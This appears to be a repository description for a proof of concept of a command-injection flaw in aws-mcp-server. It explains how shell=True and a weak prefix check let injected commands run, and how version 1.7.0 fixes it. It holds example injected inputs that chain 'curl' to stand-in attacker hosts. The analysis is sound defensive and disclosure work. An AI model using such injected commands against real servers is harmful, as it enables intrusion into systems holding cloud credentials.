venom203020/cve-2026-5059-pocProof-of-concept demonstrating command injection in aws-mcp-server via shell=True, with analysis of the vulnerable code and the fix in v1.7.0.
Where is CVE-2026-5059 in the code? The vulnerability is in two files working together:
File 1: tools.py — The Root Cause The old version used shell=True in execute_piped_command(): python# OLD VULNERABLE CODE process = subprocess.run( command, # ← raw string passed to shell shell=True, # ← THIS is the problem ... ) When shell=True, the OS shell interprets the full string including ;, &&, ||, backticks — so anything after ; runs as a separate command.
File 2: security.py — The Incomplete Guard The validator only checked that the command starts with aws: python# OLD VULNERABLE CODE def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← stops here, no check on what comes after the pipe So aws s3 ls ; curl http://attacker.com passed validation — starts with aws — then shell=True executed both parts.
Why the current version (v1.7.0) is different Looking at the actual code today, both problems are gone: python# CURRENT CODE in cli_executor.py cmd_parts = shlex.split(command) # splits into a list subprocess.run(cmd_parts, shell=False) # list-based, no shell interpretation And security.py was deleted entirely — replaced by the OS sandbox (Landlock/bwrap/Seatbelt). The ; is now harmless: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess gets ';' as a literal argument to aws → AWS CLI ignores it, no second command runs
Summary in one line Vulnerable versionCurrent v1.7.0Executionshell=True + stringshell=False + listValidationstartswith("aws") onlyOS-level sandbox; handlingExecuted by shellTreated as literal text The CVE was filed against the old version. ZDI published it as a 0-day because the vendor rejected the report — but the architecture had already moved away from shell=True before the CVE was published.
